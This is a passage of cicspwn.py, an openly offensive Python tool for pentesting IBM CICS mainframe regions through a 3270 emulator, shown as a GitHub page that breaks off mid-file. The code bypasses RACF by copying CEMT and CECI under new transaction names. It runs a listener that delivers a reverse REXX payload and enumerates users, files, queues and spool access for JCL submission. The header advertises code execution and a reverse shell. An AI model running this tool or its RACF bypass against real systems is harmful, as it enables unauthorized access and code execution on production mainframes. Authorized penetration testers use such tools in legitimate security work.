-
Notifications
You must be signed in to change notification settings - Fork 26
/
cicspwn.py
2607 lines (2147 loc) · 89.4 KB
/
cicspwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
import os
import re
import sys
import socket
import time
import datetime
import string
import random
import platform
from random import randrange
import signal
import argparse
from time import sleep
import threading
import py3270
from py3270 import Emulator,CommandError,FieldTruncateError,TerminatedError,WaitError,KeyboardStateError,FieldTruncateError,x3270App,s3270App
####################################################################################
# ******* CICSpwn ********
####################################################################################
#
# CICSpwn is a tool to pentest CICS servers by abusing IBM Supplied transactions
# Code execution, file reading, information gathering..all the good stuff
#
# Refer to https://github.com/ayoul3
# Requirements for JCL submission :
# SPOOL=YES in SIT table
# Or TDQueue pointing to INTRDR (which was defined in CICS start up JCL)
# Record length of the JCL must not exceed 80 characters
#
# Example of TSO commands : LU (display user privileges)
# Created by: Ayoul3 (@ayoul3__
# Credit for the reverse shell goes to @mainframed767 (https://github.com/mainframed)
# Copyright GPL 2016
#####################################################################################
TRAN_NUMBER = 1000
SLEEP = 0.5
CECI = "CECI"
CEMT = "CEMT"
CAT3_TRANS = ["CSRK","CSRS","CSAC","CQPO","CQRY","CPSS"]
# TO DO:
# Verbose mode
# Write a CICS SHELL in COBOL
# CEDA VIEW CON
# Distinguish VTAM authentication from CICS authentication
class bcolors:
HEADER = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
CYAN="\033[36m"
PURPLE="\033[35m"
WHITE=""
DARKGREY = '\033[1;30m'
DARKBLUE = '\033[0;34m'
def disable(self):
self.HEADER = ''
self.BLUE = ''
self.GREEN = ''
self.YELLOW = ''
self.RED = ''
self.ENDC = ''
# Override some behaviour of py3270 library
class EmulatorIntermediate(Emulator):
def __init__(self, visible=True, delay=0):
Emulator.__init__(self, visible)
self.delay = delay
def send_enter(self): # Allow a delay to be configured
self.exec_command('Enter')
if self.delay > 0:
sleep(self.delay)
def send_clear(self): # Allow a delay to be configured
self.exec_command('Clear')
if self.delay > 0:
sleep(self.delay)
def send_eraseEOF(self): # Allow a delay to be configured
self.exec_command('EraseEOF')
if self.delay > 0:
sleep(self.delay)
def send_pf11(self):
self.exec_command('PF(11)')
def screen_get(self):
response = self.exec_command('Ascii()')
if ''.join(response.data).strip() == "":
sleep(0.5)
return self.screen_get()
return response.data
# Send text without triggering field protection
def safe_send(self, text):
for i in xrange(0, len(text)):
self.send_string(text[i])
if self.status.field_protection == 'P':
return False # We triggered field protection, stop
return True # Safe
# Fill fields in carefully, checking for triggering field protections
def safe_fieldfill(self, ypos, xpos, tosend, length):
if length - len(tosend) < 0:
raise FieldTruncateError('length limit %d, but got "%s"' % (length, tosend))
if xpos is not None and ypos is not None:
self.move_to(ypos, xpos)
try:
self.delete_field()
if self.safe_send(tosend):
return True # Hah, we win, take that mainframe
else:
return False # we entered what we could, bailing
except CommandError, e:
# We hit an error, get mad
return False
# if str(e) == 'Keyboard locked':
# Search the screen for text when we don't know exactly where it is, checking for read errors
def find_response(self, response):
for rows in xrange(1,int(self.status.row_number)+1):
for cols in xrange(1, int(self.status.col_number)+1-len(response)):
try:
if self.string_found(rows, cols, response):
return True
except CommandError, e:
# We hit a read error, usually because the screen hasn't returned
# increasing the delay works
sleep(self.delay)
self.delay += 1
whine('Read error encountered, assuming host is slow, increasing delay by 1s to: ' + str(self.delay),kind='warn')
return False
return False
def find_field_start_on_row(self,row):
# This is as usual a horrible hack
# rows start at 1 (not 0)
# from what I can tell - if you get a SF(c0=c*) it means a start of field.
# This is then what we are looking for
for _ in xrange(0,2):
response = self.exec_command('ReadBuffer(Ascii)')
if ''.join(response.data).strip()=="":
sleep(0.3)
else:
break
else:
if ''.join(response.data).strip()=="":
raise Exception("Unable to retrieve buffer data")
for counter, char in enumerate(response.data[row-1].split()):
if char.startswith("SF(c0=c"):
return counter+2 # +1 to convert the 0 based index to 1 based
# +1 to move to actual field
# Get the current x3270 cursor position
def get_pos(self):
results = self.exec_command('Query(Cursor)')
row = int(results.data[0].split(' ')[0])
col = int(results.data[0].split(' ')[1])
return (row,col)
def get_hostinfo(self):
return self.exec_command('Query(Host)').data[0].split(' ')
class ThreadListen(threading.Thread):
"""Threaded client connection for reverse REXX"""
def __init__(self, port, payload):
threading.Thread.__init__(self)
self.port = port
self.payload = payload
def run(self):
#~ print tran + ": " + str(threading.current_thread())
try:
whine('Started a listener on port '+str(self.port),'info')
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', self.port))
serversocket.listen(5)
connection, address = serversocket.accept()
rc = connection.send(self.payload)
if rc > 0:
whine('Payload delivered ('+str(rc)+' bytes)','good')
else:
whine('Payload could not be delivered','err')
except Exception, e:
pass
def logo():
print bcolors.BLUE + '''
:::::::: ::::::::::: :::::::: :::::::: ::::::::: ::: ::::::: :::
:+: :+: :+: :+: :+: :+: :+: :+: :+::+: :+::+:+: :+:
+:+ +:+ +:+ +:+ +:+ +:++:+ +:+:+:+:+ +:+
+#+ +#+ +#+ +#++:++#++ +#++:++#+ +#+ +:+ +#++#+ +:+ +#+ '''+bcolors.DARKBLUE+'''
+#+ +#+ +#+ +#+ +#+ +#+ +#+#+ +#++#+ +#+#+#
#+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+#+# #+# #+#+#
######## ########### ######## ######## ### ### ### ### ####
The tool for some CICS p0wning !\t\tAuthor: @Ayoul3__\n'''+ bcolors.ENDC
def signal_handler(signal, frame):
print 'Done !'
sys.exit(0)
def printProgress (iteration, total, prefix = '', suffix = '', decimals = 1, barLength = 100):
"""
Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
barLength - Optional : character length of bar (Int)
"""
formatStr = "{0:." + str(decimals) + "f}"
percents = formatStr.format(100 * (iteration / float(total)))
filledLength = int(round(barLength * iteration / float(total)))
bar = '*' * filledLength + ' ' * (barLength - filledLength)
#bar = '█' * filledLength + '-' * (barLength - filledLength)
sys.stdout.write('\r\t%s|%s| %s%s %s' % (prefix, bar, percents, '%', suffix)),
sys.stdout.flush()
if iteration == total:
sys.stdout.write('\n')
sys.stdout.flush()
def rand_name(size=8, chars=string.ascii_letters):
return ''.join(random.choice(chars) for x in xrange(1, size))
def format_request(request):
i =0
while i + len(request) < 80:
request +=" "
return request
def show_screen():
data = em.screen_get()
for d in data:
print d
def whine(text, kind='clear', level=0):
"""
Handles screen messages display
"""
typdisp = ''
lvldisp = ''
color =''
if kind == 'warn': typdisp = '[!] ';color=bcolors.YELLOW
elif kind == 'info': typdisp = '[+] ';color=bcolors.WHITE
elif kind == 'err': typdisp = '[#] ';color=bcolors.RED
elif kind == 'good': typdisp = '[*] ';color=bcolors.GREEN
if level == 1: lvldisp = "\t"
elif level == 2: lvldisp = "\t\t"
elif level == 3: lvldisp = "\t\t\t"
print color+lvldisp+typdisp+text+ (bcolors.ENDC if color!="" else "")
def connect_zOS(target):
"""
Connects to z/OS server. If Port 992 is used, instructs 3270 to use SSL
"""
whine('Connecting to target '+target,kind='info')
if "992" in target or "10024" in target:
em.connect('L:'+target)
else:
em.connect(target)
em.send_enter()
if not em.is_connected():
whine('Could not connect to ' + target + '. Aborting.',kind='err')
sys.exit(1)
def do_authenticate(userid, password, pos_pass):
"""
It starts writting the userid, then moves to pos_pass to write the password
Works for VTAM and CICS authentication
"""
posx, posy = em.get_pos()
em.safe_send(results.userid)
pwd_y_pos=em.find_field_start_on_row(pos_pass)
em.move_to(pos_pass,pwd_y_pos)
em.safe_send(results.password)
em.send_enter()
data = em.screen_get()
if any("Your userid is invalid" in s for s in data):
whine('Incorrect userid information','err')
sys.exit()
elif any("Your password is invalid" in s for s in data):
whine('Incorrect password information','err')
sys.exit()
elif any("Sign on failure" in s for s in data):
whine('Invalid credentials','err')
sys.exit();
def check_valid_applid(applid, do_authent, method = 1,custom_cics=False):
"""
Tries to access a CICS app in VTAM screen. If VTAM needs
authentication, it calls do_authenticate()
If CICS appid is valid, it tries to access the CICS terminal
"""
em.safe_send(applid) #CICS APPLID in VTAM
data = em.screen_get()
em.send_enter()
data = em.screen_get()
if any("Invalid Command" in d for d in data):
whine('Invalid APPLID "'+applid+'"','err');
sys.exit()
if any("Command is in progress" in d for d in data):
whine("Waiting for VTAM command completion",'warn')
sleep(1.3)
if do_authent:
pos_pass=1;
data = em.screen_get()
for d in data:
if "Password " in d or "Code " in d or "passe " in d:
break;
else:
pos_pass +=1
if pos_pass > 23:
whine("Could not find a password field. Was looking for \"password\", \"code\" or \"pass\" strings",'err')
for d in data:
print d
sys.exit();
do_authenticate(results.userid, results.password, pos_pass)
whine("Successful authentication",'good')
if custom_cics:
em.safe_send(custom_cics)
em.send_enter()
em.send_clear()
em.safe_send("garbage")
em.send_enter()
else:
if method ==1:
em.send_clear()
if method ==3:
em.send_pf3()
sleep(SLEEP)
em.send_clear()
if method ==2:
em.send_clear()
sleep(SLEEP)
em.send_clear()
em.move_to(1,1)
#em.send_string('CESF') #CICS CESF is the Signoff command
em.send_pf3()
em.send_enter()
sleep(SLEEP)
if em.find_response( 'DFHAC2001'):
whine('Access to CICS Terminal is possible with APPID '+applid,'good')
em.send_clear()
return True
elif method > 2:
return False
else:
method += 1
whine('Returning to CICS terminal via method '+str(method),kind='info')
return check_valid_applid(applid, do_authent, method,custom_cics=custom_cics)
def query_cics(request, verify, line):
"""
Function to send a request to CICS and see if it worked.
It does not support double send (required for CECI)
"""
em.move_to(1,2)
em.safe_send(format_request(request))
em.send_enter()
data = em.screen_get()
if len(request) > 4 and "DFHAC2002" in data[22] and "CECI" in data[22]:
whine("Cannot access CECI, try --bypass switch to bypass RACF",'err')
sys.exit()
if len(request) > 4 and "DFHAC2002" in data[22] and "CEMT" in data[22]:
whine("Cannot access CEMT, try --bypass switch to bypass RACF",'err')
sys.exit()
for v in verify:
if v in data[line-1].strip():
return True
else:
return False
def get_cics_value(request, identifier, double_enter=False):
"""
Send a request to CICS, stores the result in a variable then returns it
supports double send required by CECI
"""
em.move_to(1,2)
for i in identifier:
request += " "+i+"(&"+i[:3]+")"
if len(request) > 79:
whine("Request longer than terminal screen",'err')
sys.exit()
em.safe_send(format_request(request))
em.send_enter()
data = em.screen_get()
if "DFHAC2002" in data[22] and "CECI" in data[22]:
whine("Cannot access CECI, try --bypass switch to bypass RACF",'err')
sys.exit()
if "DFHAC2002" in data[22] and "CEMT" in data[22]:
whine("Cannot access CEMT, try --bypass switch to bypass RACF",'err')
sys.exit()
if double_enter:
em.send_enter()
sleep(SLEEP)
em.send_pf5()
data = em.screen_get()
j=5; out = []
for i in identifier :
out.append(data[j][23:].strip())
j+=1
em.send_pf3()
return out;
def query_cics_scrap(request, pattern, length, depth, scrolls):
"""
Sometimes values cannot be stored in variables, so we need to scrap
the screen to get their values.
@pattern: pattern preceding the value
@length: length of the value retrieved
@depth : click on the value to get more details
@scrolls: how many F11 before getting the pattern on screen
"""
em.move_to(1,2)
em.safe_send(format_request(request))
em.send_enter()
out = []
i =0;
if depth == 1:
em.move_to(3,7)
em.send_enter()
while i < scrolls:
em.send_pf11()
i +=1;
data = em.screen_get()
if "NOT AUTHORIZED" in data[2] or "DFHAC2002" in data[22]:
whine("Not authorized to issue "+request+", try --bypass switch to bypass RACF",'err')
return None
for d in data:
if pattern in d:
pos= d.find(pattern) + len(pattern)
if d[pos:pos+length].strip() in out:
continue;
out.append(d[pos:pos+length].strip().replace(")",""))
em.send_pf3()
if len(out) > 0:
return '\n'.join(out)
else:
return None;
def send_cics(request, double=False):
"""
Sends request to CICS
handles double send required by CECI
"""
#em.send_clear()
#data = em.screen_get()
em.move_to(1,2)
em.safe_send(format_request(request))
em.send_enter()
data = em.screen_get()
if "DFHAC2002" in data[22] and "CECI" in data[22]:
whine("Cannot access CECI, try --bypass switch to bypass RACF",'err')
sys.exit()
elif "DFHAC2002" in data[22] and "CEMT" in data[22]:
whine("Cannot access CEMT, try --bypass switch to bypass RACF",'err')
sys.exit()
if double:
em.send_enter()
data = em.screen_get()
if "RESPONSE: NORMAL" in data[22]:
return True
elif "RESPONSE: NOSPOOL" in data[22]:
return False
else:
whine('Error:' + data[22],'err')
return False
def get_hql_files():
"""
Called by get_infos(). retrieves the HLQ of files handled by CICS
"""
em.move_to(1,2)
em.safe_send(format_request(CEMT+" I DSNAME"))
em.send_enter()
data = em.screen_get()
for d in data:
if "Dsn" in d and "(DFH" not in d:
pos= d.find("Dsn(") + len("Dsn(")
dataset = d[pos:pos+44].strip()
em.send_pf3()
return dataset[:dataset.rfind(".")]+".**"
em.send_pf3()
return None
def get_hql_libraries():
"""
Called by get_infos(). retrieves the HLQ of CICS install libraries
"""
found_dfhrpl= False;
em.move_to(1,2)
em.safe_send(format_request(CEMT+" I LIBRARY"))
em.send_enter()
data = em.screen_get()
for d in data:
if "DFHRPL" in d:
found_dfhrpl=True;
continue
if found_dfhrpl:
pos= d.find("(") + len("(")
dataset = d[pos:pos+44].strip()
em.send_pf3()
return dataset[:dataset.rfind(".")]+".**"
em.send_pf3()
return None
def get_users():
"""
Called by get_infos(). retrieves active users
"""
out = []
em.move_to(1,2)
em.safe_send(format_request(CEMT+" I TASK"))
em.send_enter()
data = em.screen_get()
if "NOT AUTHORIZED" in data[2]:
whine ("CEMT I TASK not authorized", 'err')
return None
elif "DFHAC2002" in data[22]:
whine('Cannot access CEMT to list active users, try --bypass switch','err')
return None
for d in data:
if "Use" in d:
pos= d.find("Use(") + len("Use(")
out.append(d[pos:pos+8].strip())
em.send_pf3()
out=list(set(out))
return out
def get_version():
"""
Called by get_infos(). retrieves current version of CICS
"""
version = query_cics_scrap(CEMT+" I SYS", "Cicstslevel(", 8, 0, 0 )
if version:
version = version.strip("0").replace("0",".")
return version
def get_os_version():
"""
Called by get_infos(). retrieves current version of zOS
"""
version = query_cics_scrap(CEMT+" I SYS", "Oslevel(", 6, 0, 0 )
if version:
version = version[1:4]
#version = version.strip("0").replace("0",".")
version = version[0]+"."+version[1:]
#if len(version)==3 and version[1] !=".":
# version = version[0]+"."+version[1:]
return version
def get_default_user():
"""
Called by get_infos(). retrieves the default pre auth user
"""
default_user = query_cics_scrap(CEMT+" I SYS", "Dfltuser(", 8, 0, 0 )
return default_user
def get_max_tasks():
"""
Called by get_infos(). retrieves the maximum number of concurrent tasks
"""
default_user = query_cics_scrap(CEMT+" I SYS", "Maxtasks( ", 4, 0, 0 )
return default_user
def activate_supplied(old_name, old_group, new_name, new_group):
global CECI
global CEMT
em.move_to(1,2)
req_copy ="CEDA COPY TRANS("+old_name.upper()+") GROUP("+old_group.upper()+") AS("+new_name.upper()+") TO("+new_group.upper()+")"
em.safe_send(format_request(req_copy));
em.send_enter();
data = em.screen_get();
if "already exists" in data[20]:
whine("Already copied "+old_name.upper()+" to "+new_name.upper()+" in group "+old_group.upper(),"info",1)
elif not "COPY SUCCESSFUL" in data[22]:
whine('Could not copy '+old_name.upper()+' to a new transaction name '+new_name.upper()+' in group '+new_group.upper(),'err',1)
whine(data[22],'err')
return False
else:
whine(old_name.upper()+' successfully copied to '+new_name.upper(),'good',1)
em.move_to(1,2)
req_install ="INSTALL TRANS("+new_name.upper()+") GROUP("+new_group.upper()+")"
em.safe_send(format_request(req_install));
em.send_enter();
data = em.screen_get();
if not "INSTALL SUCCESSFUL" in data[22]:
whine('Could not install new '+new_name.upper()+' transaction in group '+new_group.upper()+'','err',1)
whine(data[22],'err')
return False
else:
whine(new_name.upper()+' successfully installed','good',1)
if old_name.upper()=="CECI":
CECI = new_name.upper()
if old_name.upper()=="CEMT":
CEMT = new_name.upper()
em.send_pf3()
return True
def bypass_racf():
is_cemt = False
is_ceci = False
global CEMT
global CECI
if query_cics('CEDA','ALter',5):
em.send_pf3()
whine("Bypass of RACF is possible and will be carried out", 'good',1)
if query_cics('CSPS','Inquire',5):
is_cemt = True
em.send_pf3()
CEMT = "CSPS"
whine("CSPS points to CEMT now. Please use --cemt=CSPS in future commands or keep the --bypass switch", 'good',1)
elif not is_cemt and activate_supplied("CEMT","DFHCOMP3","CSPS","DDDD") and query_cics(CEMT,'Inquire',5):
em.send_pf3()
is_cemt = True
whine("CEMT is available under the transaction name CSPS. Please specify --cemt=CSPS in every future command",'good',1)
else:
whine('Could not copy CEMT to new transaction','err',1);
if query_cics('CSPK','ACquire',5):
is_ceci = True
em.send_pf3()
CECI = "CSPK"
whine("CSPK points to CECI now. Please use --ceci=CSPK in future commands or keep the --bypass switch", 'good',1)
elif not is_ceci and activate_supplied("CECI","DFHCOMP1","CSPK","BBBB") and query_cics(CECI,'ACquire',5):
em.send_pf3()
is_ceci = True
whine("CECI is now available under the transaction name CSPK. Please specify --ceci=CSPK in every future command",'good',1)
else:
whine('Could not copy CECI to new transaction','err',1);
def get_infos():
"""
retrieves meaningful information about CICS
"""
global CEMT
global CECI
is_cemt = False
is_ceci = False
is_cecs = False
is_ceda = False
is_cedf = True
is_cebr = False
userid = ''
hlq_files = None
hlq_libraries = None
version = None
spool, tdqueue, tdqueue2 = None, None,None
whine("Interesting and available IBM supplied transactions: ", 'info')
if query_cics(CEMT,['Inquire'],5):
is_cemt = True
em.send_pf3()
whine("CEMT", 'good',1)
if query_cics('CEDA',['ALter'],5):
is_ceda = True
em.send_pf3()
whine("CEDA", 'good',1)
if query_cics(CECI,['ACquire','DELETEQ'],5):
is_ceci = True
em.send_pf3()
whine("CECI", 'good',1)
if query_cics('CECS',['ACquire','DELETEQ'],5):
is_cecs = True
em.send_pf3()
whine("CECS", 'good',1)
if query_cics('CEDF ,OFF',['EDF MODE OFF'],1):
is_cedf = True
em.send_pf3()
whine("CEDF", 'good',1)
if query_cics('CEBR',['ENTER COMMAND'],2):
is_cebr = True
em.send_pf3()
whine("CEBR", 'good',1)
em.send_clear()
if not is_ceci and not is_ceda:
whine("CECI is not available. Little information will be available on the system", 'err')
if is_ceda and (not is_ceci or not is_cemt) and (not results.bypass):
whine("CECI or CEMT are not available. Little information will be available on the system", 'err')
response = raw_input(bcolors.YELLOW+'[!] Try to bypass RACF protection ? Y/N [Y]: '+bcolors.ENDC)
if response.upper() != "N":
if not is_ceci and activate_supplied("CECI","DFHCOMP1","CSPK","BBBB") and query_cics(CECI,'ACquire',5):
em.send_pf3()
is_ceci = True
whine("CECI is now available under the transaction name CSPK. Please specify --ceci=CSPK in every future command",'good',1)
else:
whine('Could not activate CECI','err');
if not is_cemt and activate_supplied("CEMT","DFHCOMP3","CSPS","DDDD") and query_cics(CEMT,'Inquire',5):
em.send_pf3()
is_cemt = True
whine("CEMT is available under the transaction name CSPS. Please specify --cemt=CSPS in every future command",'good',1)
whine("General system information: ", 'info')
os_version = get_os_version()
if os_version:
whine("z/OS version: "+os_version, 'good',1)
version = get_version()
if version :
whine("CICS TS Version: "+version, 'good',1)
default_user = get_default_user()
if default_user :
whine("CICS default user: "+default_user, 'good',1)
max_tasks = get_max_tasks()
if max_tasks:
whine("CICS max tasks: "+max_tasks, 'good',1)
variables = ["USERID", "SYSID","NET","NATl"]
values = get_cics_value(CECI+' ASSIGN', variables, True)
userid = values[0]; sysid = values[1]; netname = values[2]; language = values[3]
whine("Userid: "+userid,'good',1)
whine("Sysid: "+sysid,'good',1)
whine("LU session name: "+netname,'good',1)
whine("language: "+language,'good',1)
hlq_files = get_hql_files()
hlq_libraries = get_hql_libraries()
if hlq_files:
whine("Files HLQ:\t"+hlq_files,'good',1)
if hlq_libraries:
whine("Library path:\t"+hlq_libraries,'good',1)
whine("Active users", 'info')
users = get_users()
if users:
for u in users:
whine(u, 'good', 1)
else:
whine('No active user', 'info',1)
whine("JCL Submission", 'info')
if is_cemt:
tdqueue = query_cics_scrap(CEMT+' INQUIRE TDQueue DDN (INREADER)', 'Tdq(', 4, 0, 0)
tdqueue2 = query_cics_scrap(CEMT+' INQUIRE TDQueue DDN (INTRDR)', 'Tdq(', 4, 0, 0)
if (tdqueue or tdqueue2 ) and (tdqueue !="*" or tdqueue2 !="*") and is_ceci:
whine('Transiant queue to access spool is apparently available','good',1)
whine('When submitting a job with TDQueue, provide the option --queue='+(tdqueue.strip('\n') if tdqueue else tdqueue2.strip('\n')),'good',2)
if is_ceci:
spool = send_cics(CECI+' SpoolOpen OUTPUT USERID(INTRDR ) NODE(LOCAL )',True)
if spool:
whine('Access to the internal spool is apparently available','good',1)
if not spool and (not tdqueue or tdqueue =="*") and (not tdqueue2 or tdqueue2=="*"):
whine('No way to submit JCL through this CICS region','err',1)
whine("Access control", 'info')
em.send_pf3()
if (query_cics('CESN', 'Signon to CICS', 1)):
whine('CICS uses an ESM (RACF/ACF2/TopSecret), might be tricky to access some functions','info',1)
else:
whine('CICS does not use RACF/ACF2/TopSecret','good',1)
#~ variables = ["READ"]
#~ read = get_cics_value('QUERY SECURITY RESC(FACILITY) RESID(XXX) RESIDL(3) ', variables, True)
#~ read = ''.join(read)
#~ if read == "+0000000035":
#~ whine('CICS does not use RACF/ACF2/TopSecret. Every user has as much access as the CICS region ID','good',1)
#~ else:
#~ whine('CICS uses an ESM (RACF/ACF2/TopSecret), might be tricky to access some functions','info',1)
# add check for OMVS, SUPERUSER, SERVER, DAMON, etc.
#whine("Connection information", 'info')
#DB2: authtype, connectst, db2release, db2id
#ISC connections: bind securty, attachsec
#MQ: ???
def get_transactions(transid):
"""
List enabled transactions available on CICS
"""
em.send_clear()
em.move_to(1,2)
print "ID\tPROGRAM"
em.safe_send(CEMT+' Inquire Trans('+transid+') en ')
em.send_enter()
#sleep()
number_tran = 0;
more = True
out = []
while (more==True and number_tran < TRAN_NUMBER):
more = False;
data = em.screen_get()
for d in data:
if "Tra(" in d and "NOT FOUND" not in d:
number_tran +=1;
if (number_tran % 9) ==0 and d[1]=="+":
more = True
continue
print d[7:11].strip() + "\t"+d[28:36].strip()
if more:
em.send_pf11()
if transid=="*" and number_tran==0:
whine('Could not list transactions through Inquire command, try with the switch --bypass','err')
elif number_tran == 0:
whine('No transaction matched the pattern '+transid+', try again','err')
def get_tsqueues(tsqueue):
"""
Get all tsqueues defined in CICS
"""
em.send_clear()
em.move_to(1,2)
print "Tsqueue\tItems\tLength\tTransaction"
em.safe_send(format_request(CEMT+' Inquire Tsq('+tsqueue+')'))
em.send_enter()
#sleep()
number_tsq = 0;
more = True
while (more):
more = False;
data = em.screen_get()
for d in data:
if "Tsq(" in d and "NOT FOUND" not in d:
number_tsq +=1;
if (number_tsq % 9) ==0 and d[1]=="+":
more = True
continue
tsq_name = d[7:13].strip()
tsq_items = d[29:34].strip()
tsq_length = d[40:50].strip()
out = tsq_name + "\t" + tsq_items +"\t" + tsq_length
elif "Tra(" in d:
tsq_tran = d[10:14]
out += "\t"+ tsq_tran
print out
if more:
em.send_pf11()
if tsqueue=="*" and number_tsq==0:
whine('Could not list tsqueues through Inquire command, try with the switch --bypass','err')
if number_tsq == 0:
whine('No tsq matched the pattern '+tsqueue+' try again','err')
def get_files(filename):
"""
Get all files defined in CICS
"""
em.send_clear()
em.move_to(1,2)
print "FILE\tTYPE\tSTATUS\tREAD\tUPDATE\tDISP\tLOCATION"
em.safe_send(format_request(CEMT+' Inquire File('+filename+')'))
em.send_enter()
#sleep()
number_files = 0;
more = True
while (more==True and number_files < TRAN_NUMBER):
more = False;
data = em.screen_get()
for d in data:
if "Fil(" in d and "NOT FOUND" not in d:
number_files +=1;
if (number_files % 9) ==0 and d[1]=="+":
more = True
continue
file_name = d[7:15].strip()
file_type = d[17:20].strip()
file_status = d[21:24].strip()
file_access_read = d[29:32].strip()
file_access_update = d[33:36].strip()
file_dsp = d[53:56].strip()
out = file_name + "\t" + file_type +"\t" + file_status +"\t"+ file_access_read +"\t"+ file_access_update +"\t"+ file_dsp
elif "Dsn(" in d:
file_dsn = d[15:60]
out += "\t"+ file_dsn
print out
if more:
em.send_pf11()
if filename=="*" and number_files==0:
whine('Could not list files through Inquire command, try with the switch --bypass','err')
elif number_files == 0:
whine('No files matched the pattern','err')
def add_content_tsq(tsq_name, item, content_file):
"""